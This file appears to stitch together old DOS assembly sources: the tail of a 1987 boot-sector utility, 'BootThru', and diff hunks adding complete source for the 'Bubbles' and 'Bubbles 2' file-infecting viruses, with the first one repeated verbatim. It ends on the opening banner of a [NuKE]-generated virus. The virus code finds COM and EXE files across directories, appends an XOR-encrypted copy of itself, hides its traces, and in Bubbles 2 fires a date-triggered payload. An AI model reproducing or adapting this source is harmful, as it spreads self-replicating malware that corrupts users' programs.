bver EQU 0B3h ;vertical
bhor EQU 0C4h ;horizontal
JMP start ;1st byte of the sector must be a jmp
DB 'BootThru' ;8-byte system id
DW 512 ;sector size in bytes
DB 2 ;sectors per cluster
DW 1 ;reserved clusters
DB 2 ;number of fats
DW 112 ;root directory entries
DW 720 ;total sectors
DB 0FDh ;format id (2 sided, 9 sector)
DW 2 ;sectors per fat
DW 9 ;sectors per track
DW 2 ;sides
DW 0 ;special hidden sectors
DB 0 ;filler
DB 0 ;head
DB 0Ah ;length of BIOS file
DB 0DFh ;disk parameter table
DB 02 ; "
DB 25h ; "
DB 02 ; "
DB 09 ; "
DB 02Ah ;Int 1Eh points to this table,
DB 0FFh ;the disk parameter table.
DB 050h ;contents of this vector (1Eh)
DB 0F6h ;are used as a pointer only,
DB 0Fh ;Int 1Eh is not executed
DB 02 ;directly
intro_beg:
DB cr,lf,
DB cr,lf,bulc,46 DUP(bhor),burc
DB cr,lf,bver,' This disk was modified by BootThru ',bver
DB cr,lf,bver,' Version 1.05 by Bill Gibson 1987 ',bver
DB cr,lf,bllc,46 DUP(bhor),blrc
DB cr,lf,stopper
intro_offset EQU intro_beg - head
start:
MOV AX,07C0h ;boot record location
MOV ES,AX
MOV DS,AX
MOV SI,intro_offset
strt1:
MOV AH,0Eh ;write teletype
MOV AL,[SI]
CMP AL,stopper
JE SHORT strt2
PUSH SI
INT 10h
POP SI
INC SI
JMP SHORT strt1
strt2:
CLD ;setup to bypass drive A:
MOV SI,OFFSET strt3 - OFFSET head
MOV DI,0200h ;boot sector size
MOV CX,0200h
REPZ MOVSB
JMP head + 200h
strt3:
MOV AH,2 ;function 02h - read floppy disk
MOV BX,boot_area ;boot area
MOV CH,0 ;track number
MOV CL,1 ;sector
MOV DH,0 ;head
MOV DL,bogus_drv ;bogus drive
MOV AL,1 ;number of sectors
INT 13h
strt4:
MOV BX,loc2 ;setup to pull ROM Basic in
MOV AX,[BX] ;if an error occurs
CMP AX,eof_bootsec
JNZ strt9
JMP strt3 - 200h
strt9:
INT 18h
DB 'BootThru, Copyright (c) Bill Gibson, 02.09.87'
tail:
filler_amount EQU 512 - (tail - head) - 2
DB filler_amount dup (0) ; filler
boot_id DB 055h,0AAh ; boot id
Modify ENDP
BootThru ENDP
code ENDS
END BootThru

@@ -0,0 +1,375 @@
;---------
; Bubbles Virus written by Admiral Bailey
; Using The Instant Virus Production Kit By Admiral Bailey
; To compile this use TASM /M BUBBLES.ASM
;---------
code segment public 'code'
assume cs:code
org 100h ; All .COM files start here
ID = 'AB' ; Id for infected files
start:
db 0e9h,0,0 ; Jump to the next command
virus:
call realcode ; Push current location on stack
realcode:
nop
nop
nop
nop
nop
pop bp ; Get location off stack
sub bp,offset realcode ; Adjust it for our pointer
nop
nop
nop
nop
call encrypt_decrypt ; Decrypt the virus first
encrypt_start equ $ ; From here is encrypted
cmp sp,id ; COM or EXE?
je restoreEXE
lea si,[bp+offset oldjump] ; Location of old jump in si
mov di,100h ; Location of where to put it in di
push di ; Save so we could just return when done
movsb ; Move a byte
movsw ; Move a word
jmp exitrestore
restoreEXE:
push ds ; Save ExE ds
push es ; Save ExE es
push cs
pop ds ; DS now equals CS
push cs
pop es ; ES now equals CS
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
ExitRestore:
lea dx,[bp+offset dta] ; Where to put New DTA
call set_DTA ; Move it
mov ax,3524h ; Get int 24 handler
int 21h ; To ES:BX
mov word ptr [bp+oldint24],bx ; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
mov ah,47h ; Get the current directory
mov dl,0h ; On current drive
lea si,[bp+offset currentdir] ; Where to keep it
int 21h
dirloop:
lea dx,[bp+offset exefilespec]
call findfirst
lea dx,[bp+offset comfilespec]
call findfirst
lea dx,[bp+offset directory] ; Where to change too '..'
mov ah,3bh ; Change directory
int 21h
jnc dirloop ; If no problems the look for files
mov ah,9 ; Display string
lea dx,[bp+virusname]
int 21h
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; To original
int 21h
push cs
pop ds ; Do this because the DS gets changed
lea dx,[bp+offset currentdir] ; Location Of original dir
mov ah,3bh ; Change to there
int 21h
mov dx,80h ; Location of original DTA
call set_dta ; Put it back there
cmp sp,id-4 ; EXE or COM?
jz returnEXE
retn ; Return to 100h to original jump
ReturnEXE:
pop es ; Get original ES
pop ds ; Get original DS
mov ax,es
add ax,10h
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear int's because of stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; Jump ssss:oooo
jmpsave dd ? ; Jump location
stacksave dd ? ; Original cs:ip
jmpsave2 dd 0fff00000h ; Used with carrier file
stacksave2 dd ?
findfirst:
mov ah,4eh ; Find first file
mov cx,7 ; Find all attributes
findnext:
int 21h ; Find first/next file int
jc quit ; If none found then change dir
call infection ; Infect that file
Findnext2:
mov ah,4fh ; Find next file
jmp findnext ; Jump to the loop
quit:
ret
infection:
mov ax,3d00h ; Open file for read only
call open
mov ah,3fh ; Read from file
mov cx,1ah
lea dx,[bp+offset buffer] ; Location to store them
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM' ; EXE?
jz checkEXE ; Why yes, yes it is!
mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax
cmp ax,'DN' ; Does End in comma'ND'? (reverse order)
jz quitinfect ; Yup so get another file
CheckCom:
mov bx,[bp+offset dta+1ah] ; Get file size
mov cx,word ptr [bp+buffer+1] ; Get jump loc of file
add cx,eof-virus+3 ; Add for virus size
cmp bx,cx ; Does file size=file jump+virus size
jz quitinfect ; Yup then get another file
jmp infectcom
CheckExe:
cmp word ptr [bp+buffer+10h],id ; Check EXE for infection
jz quitinfect ; Already infected so close up
jmp infectexe
quitinfect:
ret
InfectCom:
sub bx,3 ; Adjust for new jump
lea si,[bp+buffer]
lea di,[bp+oldjump]
movsw
movsb
mov [bp+buffer],byte ptr 0e9h
mov word ptr [bp+buffer+1],bx ; Save for later
mov cx,3 ; Number of bytes to write
jmp finishinfection
InfectExe:
les ax,dword ptr [bp+buffer+14h] ; Load es with seg address
mov word ptr [bp+jmpsave2],ax ; save old cs:ip
mov word ptr [bp+jmpsave2+2],es
les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp
mov word ptr [bp+stacksave2],es ; save old cs:ip
mov word ptr [bp+stacksave2+2],ax
mov ax, word ptr [bp+buffer+8] ; get header size
mov cl,4
shl ax,cl
xchg ax,bx
les ax,[bp+offset DTA+26] ; get files size from dta
mov dx,es ; its now in dx:ax
push ax ; save these
push dx
sub ax,bx ; subtract header size from fsize
sbb dx,0 ; subtract the carry too
mov cx,10h ; convert to segment:offset form
div cx
mov word ptr [bp+buffer+14h],dx ; put in new header
mov word ptr [bp+buffer+16h],ax ; cs:ip
mov word ptr [bp+buffer+0eh],ax ; ss:sp
mov word ptr [bp+buffer+10h],id ; put id in for later
pop dx ; get the file length back
pop ax
add ax,eof-virus ; add virus size
adc dx,0 ; add with carry
mov cl,9 ; calculates new file size
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov word ptr [bp+buffer+4],dx ; save new file size in header
mov word ptr [bp+buffer+2],ax
push cs ; es = cs
pop es
mov cx,1ah ; Number of bytes to write (Header)
FinishInfection:
push cx ; save # of bytes to write
xor cx,cx ; Set attriutes to none
call attributes
mov al,2 ; open file read/write
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Location of bytes
pop cx ; Get number of bytes to write
int 21h
jc closefile
mov al,02 ; Move Fpointer to eof
Call move_fp
get_time:
mov ah,2ch ; Get time for our encryption value
int 21h
cmp dh,0 ; If its seconds are zere get another
je get_time
mov [bp+enc_value],dh ; Use seconds value for encryption
call encrypt_infect ; Encrypt and infect the file
closefile:
mov ax,5701h ; Set files date/time back
mov cx,word ptr [bp+dta+16h] ; Get old time from dta
mov dx,word ptr [bp+dta+18h] ; Get old date
int 21h
mov ah,3eh ; Close file
int 21h
xor cx,cx
mov cl,byte ptr [bp+dta+15h] ; Get old Attributes
call attributes
retn
move_fp:
mov ah,42h ; Move file pointer
xor cx,cx ; Al has location
xor dx,dx ; Clear these
int 21h
retn
set_dta:
mov ah,1ah ; Move the DTA location
int 21h
retn
open:
mov ah,3dh ; open file
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
xchg ax,bx ; file handle in bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
ret
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return from int 24 call
Virusname db 'Bubbles Virus',10,13 ; Name Of The Virus
Author db 'Admiral Bailey',10,13 ; Author Of This Virus
Made_with db '[IVP]',10,13,'$' ; Please do not remove this
comfilespec db '*.com',0 ; Holds type of file to look for
exefilespec db '*.exe',0 ; Holds type of file to look for
directory db '..',0 ; Directory to change to
oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit
encrypt_infect:
lea si,[bp+offset move_begin] ; Location of where to move from
lea di,[bp+offset workarea] ; Where to move it too
mov cx,move_end-move_begin ; Number of bytes to move
move_loop:
movsb ; Moves this routine into heap
loop move_loop
lea dx,[bp+offset workarea]
call dx ; Jump to that routine just moved
ret
move_begin equ $ ; Marks beginning of move
push bx ; Save the file handle
lea dx,[bp+offset encrypt_end]
call dx ; Call the encrypt_decrypt procedure
pop bx ; Get handle back in bx and return
mov ah,40h ; Write to file
mov cx,eof-virus ; Number of bytes
lea dx,[bp+offset virus] ; Where to write from
int 21h
push bx ; Save the file handle
lea dx,[bp+offset encrypt_end]
call dx ; Decrypt the file and return
pop bx ; Get handle back in bx and return
ret
move_end equ $ ; Marks the end of move
encrypt_end equ $ ; Marks the end of encryption
encrypt_decrypt:
lea bx,[bp+encrypt_start] ; Where to start encryption
mov cx,encrypt_end-encrypt_start ; Number of bytes to encrypt
mov dh,[bp+enc_value] ; Value to use for encryption
encrypt_loop:
mov ah,cs:[bx] ; Get a byte in ah
xor ah,dh ; Xor it
mov cs:[bx],ah ; Put it back
inc bx ; Move to next byte and loop
loop encrypt_loop
ret
enc_value db 00h ; Hold the encryption value 00 for nul effect
eof equ $ ; Marks the end of file
workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine
currentdir db 64 dup (?) ; Holds the current dir
dta db 42 dup (?) ; Location of new DTA
buffer db 1ah dup (?) ; Holds exe header
oldint24 dd ? ; Storage for old int 24h handler
code ends
end start
@@ -0,0 +1,375 @@
;---------
; Bubbles Virus written by Admiral Bailey
; Using The Instant Virus Production Kit By Admiral Bailey
; To compile this use TASM /M BUBBLES.ASM
;---------
code segment public 'code'
assume cs:code
org 100h ; All .COM files start here
ID = 'AB' ; Id for infected files
start:
db 0e9h,0,0 ; Jump to the next command
virus:
call realcode ; Push current location on stack
realcode:
nop
nop
nop
nop
nop
pop bp ; Get location off stack
sub bp,offset realcode ; Adjust it for our pointer
nop
nop
nop
nop
call encrypt_decrypt ; Decrypt the virus first
encrypt_start equ $ ; From here is encrypted
cmp sp,id ; COM or EXE?
je restoreEXE
lea si,[bp+offset oldjump] ; Location of old jump in si
mov di,100h ; Location of where to put it in di
push di ; Save so we could just return when done
movsb ; Move a byte
movsw ; Move a word
jmp exitrestore
restoreEXE:
push ds ; Save ExE ds
push es ; Save ExE es
push cs
pop ds ; DS now equals CS
push cs
pop es ; ES now equals CS
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
ExitRestore:
lea dx,[bp+offset dta] ; Where to put New DTA
call set_DTA ; Move it
mov ax,3524h ; Get int 24 handler
int 21h ; To ES:BX
mov word ptr [bp+oldint24],bx ; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
mov ah,47h ; Get the current directory
mov dl,0h ; On current drive
lea si,[bp+offset currentdir] ; Where to keep it
int 21h
dirloop:
lea dx,[bp+offset exefilespec]
call findfirst
lea dx,[bp+offset comfilespec]
call findfirst
lea dx,[bp+offset directory] ; Where to change too '..'
mov ah,3bh ; Change directory
int 21h
jnc dirloop ; If no problems the look for files
mov ah,9 ; Display string
lea dx,[bp+virusname]
int 21h
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; To original
int 21h
push cs
pop ds ; Do this because the DS gets changed
lea dx,[bp+offset currentdir] ; Location Of original dir
mov ah,3bh ; Change to there
int 21h
mov dx,80h ; Location of original DTA
call set_dta ; Put it back there
cmp sp,id-4 ; EXE or COM?
jz returnEXE
retn ; Return to 100h to original jump
ReturnEXE:
pop es ; Get original ES
pop ds ; Get original DS
mov ax,es
add ax,10h
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear int's because of stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; Jump ssss:oooo
jmpsave dd ? ; Jump location
stacksave dd ? ; Original cs:ip
jmpsave2 dd 0fff00000h ; Used with carrier file
stacksave2 dd ?
findfirst:
mov ah,4eh ; Find first file
mov cx,7 ; Find all attributes
findnext:
int 21h ; Find first/next file int
jc quit ; If none found then change dir
call infection ; Infect that file
Findnext2:
mov ah,4fh ; Find next file
jmp findnext ; Jump to the loop
quit:
ret
infection:
mov ax,3d00h ; Open file for read only
call open
mov ah,3fh ; Read from file
mov cx,1ah
lea dx,[bp+offset buffer] ; Location to store them
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM' ; EXE?
jz checkEXE ; Why yes, yes it is!
mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax
cmp ax,'DN' ; Does End in comma'ND'? (reverse order)
jz quitinfect ; Yup so get another file
CheckCom:
mov bx,[bp+offset dta+1ah] ; Get file size
mov cx,word ptr [bp+buffer+1] ; Get jump loc of file
add cx,eof-virus+3 ; Add for virus size
cmp bx,cx ; Does file size=file jump+virus size
jz quitinfect ; Yup then get another file
jmp infectcom
CheckExe:
cmp word ptr [bp+buffer+10h],id ; Check EXE for infection
jz quitinfect ; Already infected so close up
jmp infectexe
quitinfect:
ret
InfectCom:
sub bx,3 ; Adjust for new jump
lea si,[bp+buffer]
lea di,[bp+oldjump]
movsw
movsb
mov [bp+buffer],byte ptr 0e9h
mov word ptr [bp+buffer+1],bx ; Save for later
mov cx,3 ; Number of bytes to write
jmp finishinfection
InfectExe:
les ax,dword ptr [bp+buffer+14h] ; Load es with seg address
mov word ptr [bp+jmpsave2],ax ; save old cs:ip
mov word ptr [bp+jmpsave2+2],es
les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp
mov word ptr [bp+stacksave2],es ; save old cs:ip
mov word ptr [bp+stacksave2+2],ax
mov ax, word ptr [bp+buffer+8] ; get header size
mov cl,4
shl ax,cl
xchg ax,bx
les ax,[bp+offset DTA+26] ; get files size from dta
mov dx,es ; its now in dx:ax
push ax ; save these
push dx
sub ax,bx ; subtract header size from fsize
sbb dx,0 ; subtract the carry too
mov cx,10h ; convert to segment:offset form
div cx
mov word ptr [bp+buffer+14h],dx ; put in new header
mov word ptr [bp+buffer+16h],ax ; cs:ip
mov word ptr [bp+buffer+0eh],ax ; ss:sp
mov word ptr [bp+buffer+10h],id ; put id in for later
pop dx ; get the file length back
pop ax
add ax,eof-virus ; add virus size
adc dx,0 ; add with carry
mov cl,9 ; calculates new file size
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov word ptr [bp+buffer+4],dx ; save new file size in header
mov word ptr [bp+buffer+2],ax
push cs ; es = cs
pop es
mov cx,1ah ; Number of bytes to write (Header)
FinishInfection:
push cx ; save # of bytes to write
xor cx,cx ; Set attriutes to none
call attributes
mov al,2 ; open file read/write
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Location of bytes
pop cx ; Get number of bytes to write
int 21h
jc closefile
mov al,02 ; Move Fpointer to eof
Call move_fp
get_time:
mov ah,2ch ; Get time for our encryption value
int 21h
cmp dh,0 ; If its seconds are zere get another
je get_time
mov [bp+enc_value],dh ; Use seconds value for encryption
call encrypt_infect ; Encrypt and infect the file
closefile:
mov ax,5701h ; Set files date/time back
mov cx,word ptr [bp+dta+16h] ; Get old time from dta
mov dx,word ptr [bp+dta+18h] ; Get old date
int 21h
mov ah,3eh ; Close file
int 21h
xor cx,cx
mov cl,byte ptr [bp+dta+15h] ; Get old Attributes
call attributes
retn
move_fp:
mov ah,42h ; Move file pointer
xor cx,cx ; Al has location
xor dx,dx ; Clear these
int 21h
retn
set_dta:
mov ah,1ah ; Move the DTA location
int 21h
retn
open:
mov ah,3dh ; open file
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
xchg ax,bx ; file handle in bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
ret
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return from int 24 call
Virusname db 'Bubbles Virus',10,13 ; Name Of The Virus
Author db 'Admiral Bailey',10,13 ; Author Of This Virus
Made_with db '[IVP]',10,13,'$' ; Please do not remove this
comfilespec db '*.com',0 ; Holds type of file to look for
exefilespec db '*.exe',0 ; Holds type of file to look for
directory db '..',0 ; Directory to change to
oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit
encrypt_infect:
lea si,[bp+offset move_begin] ; Location of where to move from
lea di,[bp+offset workarea] ; Where to move it too
mov cx,move_end-move_begin ; Number of bytes to move
move_loop:
movsb ; Moves this routine into heap
loop move_loop
lea dx,[bp+offset workarea]
call dx ; Jump to that routine just moved
ret
move_begin equ $ ; Marks beginning of move
push bx ; Save the file handle
lea dx,[bp+offset encrypt_end]
call dx ; Call the encrypt_decrypt procedure
pop bx ; Get handle back in bx and return
mov ah,40h ; Write to file
mov cx,eof-virus ; Number of bytes
lea dx,[bp+offset virus] ; Where to write from
int 21h
push bx ; Save the file handle
lea dx,[bp+offset encrypt_end]
call dx ; Decrypt the file and return
pop bx ; Get handle back in bx and return
ret
move_end equ $ ; Marks the end of move
encrypt_end equ $ ; Marks the end of encryption
encrypt_decrypt:
lea bx,[bp+encrypt_start] ; Where to start encryption
mov cx,encrypt_end-encrypt_start ; Number of bytes to encrypt
mov dh,[bp+enc_value] ; Value to use for encryption
encrypt_loop:
mov ah,cs:[bx] ; Get a byte in ah
xor ah,dh ; Xor it
mov cs:[bx],ah ; Put it back
inc bx ; Move to next byte and loop
loop encrypt_loop
ret
enc_value db 00h ; Hold the encryption value 00 for nul effect
eof equ $ ; Marks the end of file
workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine
currentdir db 64 dup (?) ; Holds the current dir
dta db 42 dup (?) ; Location of new DTA
buffer db 1ah dup (?) ; Holds exe header
oldint24 dd ? ; Storage for old int 24h handler
code ends
end start
@@ -0,0 +1,427 @@
;---------
; Bubbles 2 written by Admiral Bailey
;---------
Code Segment Public 'Code'
Assume CS:Code
Org 100h ; All .COM files start here
ID = 'AB' ; Id for infected files
MaxFiles = 3 ; Max number of file to infect
Start:
db 0e9h,2,0 ; Jump to the next command
dw id ; So this file doesnt get infected
Virus:
call realcode ; Push current location on stack
Realcode:
pop bp ; Get location off stack
nop
nop
nop
sub bp,offset realcode ; Adjust it for our pointer
nop
nop
call encrypt_decrypt ; Decrypt the virus first
Encrypt_Start equ $ ; From here is encrypted
cmp sp,id ; Is this file a COM or EXE?
je restoreEXE ; Its an EXE so restore it
lea si,[bp+offset oldjump] ; Location of old jump in si
mov di,100h ; Restore new jump to 100h
push di ; Save so we could just return when done
movsb ; Move a byte
movsw ; Move a word
movsw ; Move another word
jmp exitrestore
RestoreEXE:
push ds ; Save ExE ds
push es ; Save ExE es
push cs
pop ds ; DS now equals CS
push cs
pop es ; ES now equals CS
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
ExitRestore:
lea dx,[bp+offset dta] ; Where to put New DTA
call set_DTA ; Move it
mov [bp+counter],byte ptr 0 ; Clear counter
mov ax,3524h ; Get int 24 handler
int 21h ; It gets put in ES:BX
mov word ptr [bp+oldint24],bx ; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; Loc of new one in DS:DX
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
mov ah,47h ; Get the current directory
mov dl,0h ; On current drive
lea si,[bp+offset currentdir] ; Where to keep it
int 21h
DirLoop:
lea dx,[bp+offset exefilespec] ; Files to look for
call findfirst
lea dx,[bp+offset comfilespec] ; Files to look for
call findfirst
lea dx,[bp+offset directory] ; Where to change too '..'
mov ah,3bh ; Change directory
int 21h
jnc dirloop ; If no problems the look for files
call activate ; Call the activation routine
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; To original
int 21h
push cs
pop ds ; Do this because the DS gets changed
lea dx,[bp+offset currentdir] ; Location Of original dir
mov ah,3bh ; Change to there
int 21h
mov dx,80h ; Location of original DTA
call set_dta ; Put it back there
cmp sp,id-4 ; Is this file an EXE or COM?
jz returnEXE ; Its an EXE!
retn ; Return to 100h (original jump)
ReturnEXE:
pop es ; Get original ES
pop ds ; Get original DS
mov ax,es
add ax,10h
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear int's because of stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; Jump ssss:oooo
jmpsave dd ? ; Jump location
stacksave dd ? ; Original cs:ip
jmpsave2 dd 0fff00000h
stacksave2 dd ?
FindFirst:
cmp [bp+counter],maxfiles ; Have we infected Too many
ja quit ; Yup
mov ah,4eh ; Find first file
mov cx,7 ; Find all attributes
FindNext:
int 21h ; Find first/next file int
jc quit ; If none found then change dir
call infection ; Infect that file
FindNext2:
mov ah,4fh ; Find next file
jmp findnext ; Jump to the loop
Quit:
ret
Infection:
mov ax,3d00h ; Open file for read only
call open
mov ah,3fh ; Read from file
mov cx,1ah ; Number of bytes
lea dx,[bp+offset buffer] ; Location to store them
int 21h
mov ah,3eh ; Close file
int 21h
mov ax,word ptr [bp+DTA+1Ah] ; Get filesize from DTA
cmp ax,64000 ; Is the file too large?
ja quitinfect ; file to large so getanother
cmp ax,600 ; Is the file too small?
jb quitinfect ; file to small so getanother
cmp word ptr [bp+buffer],'ZM' ; Is file found an EXE?
jz checkEXE ; Yup so check it
mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax
cmp ax,'DN' ; Does it end in 'ND'?
jz quitinfect ; Yup so get another file
CheckCom:
mov bx,word ptr [bp+offset dta+1ah] ; Get file size
cmp word ptr cs:[bp+buffer+3],id ; Check for ID
je quitinfect
jmp infectcom
CheckExe:
cmp word ptr [bp+buffer+10h],id ; Check EXE for infection
jz quitinfect ; Already infected so close up
jmp infectexe
QuitInfect:
ret
InfectCom:
sub bx,3 ; Adjust for new jump
lea si,[bp+buffer] ; Move the old jump first
lea di,[bp+oldjump]
movsb
movsw
movsw
mov [bp+buffer],byte ptr 0e9h ; Setup new jump
mov word ptr [bp+buffer+1],bx ; Save new jump
mov word ptr [bp+buffer+3],id ; Put in ID
mov cx,5 ; Number of bytes to write
jmp finishinfection
InfectExe:
les ax,dword ptr [bp+buffer+14h] ; Load es with seg address
mov word ptr [bp+jmpsave2],ax ; save old cs:ip
mov word ptr [bp+jmpsave2+2],es
les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp
mov word ptr [bp+stacksave2],es ; save old cs:ip
mov word ptr [bp+stacksave2+2],ax
mov ax, word ptr [bp+buffer+8] ; get header size
mov cl,4
shl ax,cl
xchg ax,bx
les ax,[bp+offset DTA+26] ; get files size from dta
mov dx,es ; its now in dx:ax
push ax ; save these
push dx
sub ax,bx ; subtract header size from fsize
sbb dx,0 ; subtract the carry too
mov cx,10h ; convert to segment:offset form
div cx
mov word ptr [bp+buffer+14h],dx ; put in new header
mov word ptr [bp+buffer+16h],ax ; cs:ip
mov word ptr [bp+buffer+0eh],ax ; ss:sp
mov word ptr [bp+buffer+10h],id ; put id in for later
pop dx ; get the file length back
pop ax
add ax,eof-virus ; add virus size
adc dx,0 ; add with carry
mov cl,9 ; calculates new file size
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov word ptr [bp+buffer+4],dx ; save new file size in header
mov word ptr [bp+buffer+2],ax
push cs ; es = cs
pop es
mov cx,1ah ; Size of EXE header
FinishInfection:
push cx ; save # of bytes to write
xor cx,cx ; Set attriutes to none
call attributes
mov al,2 ; open file read/write
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Location of bytes
pop cx ; Get number of bytes to write
int 21h
jc closefile
mov al,02 ; Move Fpointer to eof
Call move_fp
get_time:
mov ah,2ch ; Get time for encryption value
int 21h
cmp dh,0 ; If its seconds are zero get another
je get_time
mov [bp+enc_value],dh ; Use seconds value for encryption
call encrypt_infect ; Encrypt and infect the file
inc [bp+counter] ; Increment the counter
CloseFile:
mov ax,5701h ; Set files date/time back
mov cx,word ptr [bp+dta+16h] ; Get old time from dta
mov dx,word ptr [bp+dta+18h] ; Get old date
int 21h
mov ah,3eh ; Close file
int 21h
xor cx,cx
mov cl,byte ptr [bp+dta+15h] ; Get old Attributes
call attributes
retn
Activate:
mov ah,2ah ; Get current date
int 21h
cmp cx,1993 ; Check current Year
jb dont_activate
cmp dl,13 ; Check current Day
jne dont_activate
mov ah,2ch ; Get current time
int 21h
cmp ch,13 ; Check current hour
jne dont_activate
mov ah,9 ; Display string
lea dx,[bp+messege] ; The string to display
int 21h
mov cx,2
include .\routines\phasor.rtn ; Include file
Dont_Activate:
ret
Move_Fp:
mov ah,42h ; Move file pointer
xor cx,cx ; Al has location
xor dx,dx ; Clear these
int 21h
retn
Set_DTA:
mov ah,1ah ; Move the DTA location
int 21h ; DX has location
retn
Open:
mov ah,3dh ; open file
lea dx,[bp+DTA+30] ; Filename in DTA
int 21h
xchg ax,bx ; put file handle in bx
ret
Attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
ret
int24: ; New Int 24h
mov al,3 ; Fail call
iret ; Return from int 24 call
Virusname db 'Bubbles 2' ; Name Of The Virus
Author db 'Admiral Bailey' ; Author Of This Virus
messege:
db 'Bubbles 2 : Its back and better then ever.',10,13
db ' ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^',10,13
db 'Is it me or does that Make no sense at all?',10,13
Made_with db '[IVP2]',10,13,'$' ; Please do not remove this
comfilespec db '*.com',0 ; Holds type of file to look for
exefilespec db '*.exe',0 ; Holds type of file to look for
directory db '..',0 ; Directory to change to
oldjump db 0cdh,020h,0,0,0 ; Old jump. Is int 20h for file quit
Encrypt_Infect:
lea si,[bp+offset move_begin] ; Location of where to move from
lea di,[bp+offset workarea] ; Where to move it too
mov cx,move_end-move_begin ; Number of bytes to move
move_loop:
movsb ; Moves this routine into heap
loop move_loop
lea dx,[bp+offset workarea]
call dx ; Jump to that routine just moved
ret
Move_Begin equ $ ; Marks beginning of move
push bx ; Save the file handle
lea dx,[bp+offset encrypt_end]
call dx ; Call the encrypt_decrypt procedure
pop bx ; Get handle back in bx and return
mov ah,40h ; Write to file
mov cx,eof-virus ; Number of bytes
lea dx,[bp+offset virus] ; Where to write from
int 21h
push bx ; Save the file handle
lea dx,[bp+offset encrypt_end]
call dx ; Decrypt the file and return
pop bx ; Get handle back in bx and return
ret
move_end equ $ ; Marks the end of move
Encrypt_End equ $ ; Marks the end of encryption
Encrypt_Decrypt:
mov cx,encrypt_end-encrypt_start ; bytes to encrypt
lea si,cs:[bp+encrypt_start] ; start of encryption
mov di,si
encloop:
lodsb
xor ah,cs:[bp+enc_value]
stosb
loop encloop
ret
Enc_Value db 00h ; Hold the encryption value 00 for nul effect
EOF equ $ ; Marks the end of file
Counter db 0 ; Infected File Counter
Workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine
currentdir db 64 dup (?) ; Holds the current dir
DTA db 42 dup (?) ; Location of new DTA
Buffer db 1ah dup (?) ; Holds exe header
OldInt24 dd ? ; Storage for old int 24h handler
Filler db 3000 dup (0)
eov equ $ ; Used For Calculations
code ends
end start
;---------
; Instant Virus Production Kit By Admiral Bailey - Youngsters Against McAfee
; To compile this use TASM /M FILENAME.ASM
; Then type tlink /t FILENAME.OBJ
;---------
@@ -0,0 +1,454 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
